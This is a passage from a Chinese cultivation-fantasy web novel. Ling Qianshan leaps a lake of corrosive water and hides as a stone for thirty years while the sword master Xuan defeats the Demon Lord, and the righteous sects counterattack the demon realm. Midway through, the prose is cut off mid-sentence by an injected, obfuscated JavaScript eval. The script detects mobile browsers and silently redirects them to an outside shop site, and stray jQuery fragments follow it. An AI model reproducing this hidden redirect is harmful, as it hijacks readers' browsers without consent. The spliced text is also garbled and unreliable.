凌千山来这里的唯一目的就是到玄身边去,到了这一步,他不可能再停下来,也没有回头路可走了。
法术过不去,他就自己跳过去。弱水能腐蚀万物,但元婴期修士的肉身强度未必没有一搏之力。
机会只有一次,他必须成功。
他后退了很长一段距离,双腿屈起,脚掌深深陷入土里,远处的黑山静静矗立着,弱水瀑仍在无声地倾泻,汇入那片星光闪烁的死亡之湖。
风停了,空气像是凝固了一样,连呼吸都变得格外清晰。
凌千山深吸一口气,闭上眼睛,然后他猛地睁开眼,拔足狂奔。
每一步都像重锤砸在地上,他的速度越来越快,身形几乎拉成了一条模糊的光带。
临近湖岸的最后一瞬,他整个人如离弦之箭般跃起,身体腾空,湖泊的黑色水面在下方展开。
他的身体甩出一道漂亮的抛物线,向着湖中心的山体跃去,最终擦着湖面惊险地在山体边缘落地。
弱水擦过他的衣摆,瞬间烧出几个洞,但好在他没有受伤。
凌千山五指如铁钩般扣进石头里,在坚硬的山壁上戳出五个深深的指洞,他整个人悬挂在山壁上慢慢往上爬。
上方的战斗似乎又开始了,风渐渐加大,天色本来就昏暗,此时更是黑得伸手不见五指。
那风不是寻常的风,它裹着碎石与魔气,刮在脸上像刀子一样。
幸好弱水很重,否则若是弱水被风卷起来溅到他身上,他必死无疑。
他就这样时停时行,不眠不休地爬了整整两天,就在他几乎要脱力的那一刻,山顶的边缘终于出现在了他视野中。
凌千山吸了一口气,一只手猛地扒住了山顶的平地。他没有立刻翻上去,而是从怀里摸出一面小镜子,捏着镜柄小心地伸过山顶边缘,借着微弱的星光观察了一圈。
没有异常。
他快速翻身跳上山顶,单膝落地,警惕地打量起四周。
这山的山顶仿佛被什么利器整整齐齐地横切过,平整得不像自然之物,比魔域的大地还要光滑。
山顶上光秃秃的,什么都没有,一览无余,魔主和玄似乎并不在这里。
但来自元婴期修士对危险的直觉告诉他,这里危机四伏,绝不是表面上看起来这么平静。
他不能到处走动,也不敢贸然探查。于是凌千山果断掐诀,把自己变成了一块小石头。
为了防止被风吹下山顶,他还把自己深深地钉进了地面,像一块原本就长在这里的顽石。
玄和魔主确实就在山顶,只是他们的战斗等级太高,以凌千山的修为根本看不到。
大乘期剑修与魔主之间的较量,动辄撕裂空间、扭曲法则、崩碎灵力,早已超出了肉眼和神识能捕捉的范畴。
凌千山只能从周围环境中感知到某些痕迹,空气偶尔荡开一圈肉眼不可见的波纹,脚下的山体偶尔会震颤一下,像是有什么巨大的东西在极远极近的地方轰然碰撞。
此刻二人正打得天崩地裂,而山顶却风平浪静,像台风的风眼,外面是毁天灭地的风暴,里面却安静得近乎诡异。
魔主一开始根本看不上玄的实力,他只当这剑尊是修真界推出来的门面,徒有虚名沽名钓禄,借着几次针对魔尊的胜利被吹成了什么千年难遇的天才。
可一交手,他就知道自己错了。这个年轻人的剑意像是从尸山血海中一路淌过来的,每一剑都带着必死的决心。
玄的剑里没有退路,没有防守,没有任何回旋的余地,这种不要命的打法,让魔主想起了清阳剑主。
可玄的实力绝对在清阳剑主之上。
可魔主到底是魔主,万年不出世,除了养伤之外他还在精进实力。
世人都以为魔主不死不灭,靠的是魔气无穷无尽,可只有魔主自己知道,他每次重生之后都会更强。
他像一只在黑暗中蛰伏的凶兽,每一次被打倒都能重新长出更锋利的爪牙。这场战斗从一开始就陷入了焦灼,两人都拼尽了全力,心无外物,眼中只有对方,目标只有一个:杀死对方。
远在正道联盟的韩景天察觉到魔域的攻击没有过去那么频繁了。
最开始他还以为又是魔域的诡计,可他盯着沙盘看了整整三天,发现所有原本该有魔域部队出没的防区都静了下来。
那些原本三天两头就来骚扰的魔兽群不再出现,那些潜伏在人族地界的魔修也像被按了暂停键一样没了声息。
他知道,玄出手了。
没有魔主的指挥,整个魔域就是一盘散沙。
他立刻把众多长老叫来开了个会。
他站在大殿的上首,声音前所未有地铿锵:“剑尊为了天玄大陆舍生取义,我们也不能拖后腿。反攻魔域就在此刻!生死存亡之刻,我们要全力以赴!目标:荡平魔域!”
“荡平魔域!”
“荡平魔域!”
“荡平魔域!”
呐喊声从正道联盟的议事大殿传遍整个翠梧城,从翠梧城传到各个城市,最终传遍整个天玄大陆。
全修真界金丹期以上的修士几乎全部投入了战争,连远在妖域的妖族们都派出了精锐部队,只有少量高阶修士留在远离魔域边境的城市守家。
四处作乱的魔尊们很快发觉,向来动作保守的正道修士们忽然像发了疯一样不要命了。
他们不再龟缩在城中防御,而是主动出击,成群结队地杀入魔域与魔人魔兽拼杀。
几乎每一天都有人死去,整个修真界陷入一种压抑而绵长的哀伤中。
可没人有空伤心,魔域不会因为修士的悲伤而停下进攻,他们只能带着死去同门的剑继续向前。
如果说哪里还保留着祥和氛围,那就只有被保护得密不透风的凡人了。
战争是修士的战争,凡人们在城池中继续着春种秋收,男耕女织,只是城中的修士少了,巡逻的士兵更加谨慎。
就连低阶修士都在为前线的作战付出努力,制作大量的攻击和防御法宝,日夜不息地炼器、画符、制药。没有人知道战争何时停止,他们只期
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17871272|203895||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
待每一个明天。
如此,三十年过去。
凌千山觉得自己真的变成了一块小石头,在这片几乎静止的山顶,时间的流逝不再有实感。
风吹过他的石质表面,雨点打在他身上又滑落,偶尔有几粒从战斗余波中飞溅出来的碎石滚过他身边,又很快消失在悬崖之外。
他不能动,不能说话,甚至不敢过于频繁地去探查外界的情况。
他就那么钉在原地,像一块真正的地上顽石。他保持着化形术,用最笨拙的方式记录着时间的流逝。
三十年,一万多个日夜,他都是在数秒中度过的。他数到第九亿四千万秒的时候,山顶外那片混沌的风暴彻底停了。
就在下一秒,一道剑光从天穹划过,割裂了天空。那道剑光比他在澜泰城见过的那一剑还要盛烈百倍,像一条银白色的江河倒挂在天上,将整个禁地的昏暗都照得亮如白昼。
随后一个人影随之从天空坠落。
是魔主!
凌千山激动得差点变回原型。他这颗小石头都跟着抖了抖。
他看见魔主的身体如同流星一般从高空坠落,重重地砸进了弱水湖中。
弱水只是溅起了淡淡的涟漪,很快就归于了平静。
活下来了?这都没死吗?
凌千山目瞪口呆。
他记得清清楚楚,现实里的魔主被封印时修为已经大减,之前伪装成玄的时候也不过化神期。
但那是后来的事,现在这个刚从弱水里爬出来的魔主,浑身都被弱水腐蚀得不成样子,半边身子几乎只剩骨架,却还固执地朝岸边爬去。
这可是弱水,弱水竟然都没能将他溶尽,他的肉身到底被魔气淬炼到了什么地步?
玄呢?凌千山的视线再次望向天空。
昏暗的夜色里,玄凌空而立。他整个人破破烂烂的,右手的袖子烂成了碎布条,左肩上有一道深可见骨的伤口,脸颊上还有未干的血痕。
可他的眼睛亮得惊人,整个人神采奕奕,他踏了一步,转瞬间便来到了凌千山面前。
玄弯腰拾起变成小石头的凌千山,他把凌千山握在掌心,又顺手揣进了怀里,放在贴近心口的位置。
凌千山被他的体温裹住,感到了安心,同时传音在耳边响起:“帮我看看吧,到底是谁在偷袭我。”
玄没有用灵力而是直接向下跳去,可即便如此他的身形依旧轻如飞羽,稳稳落在弱水湖边。
他站在那,居高临下地望着瘫倒在岸边不成人形的魔主。
曾经不可一世的魔主,如今像条破麻袋一样瘫在地上,浑身上下没有一块完整的皮肉。
他的胸口微弱地起伏着,魔气淡得连一只最低等的魔鼠都不如。
那双眼睛还睁着,里面燃烧着滔天的恨意和不甘。
“你杀不了我的。”魔主的声音从破损的喉咙里挤出来,他费力地抽动嘴角,露出一个比哭还难看的笑容,“我终将卷土重来,别以为你今日站在这里就是赢了,可几百几千年后我还会回来的!”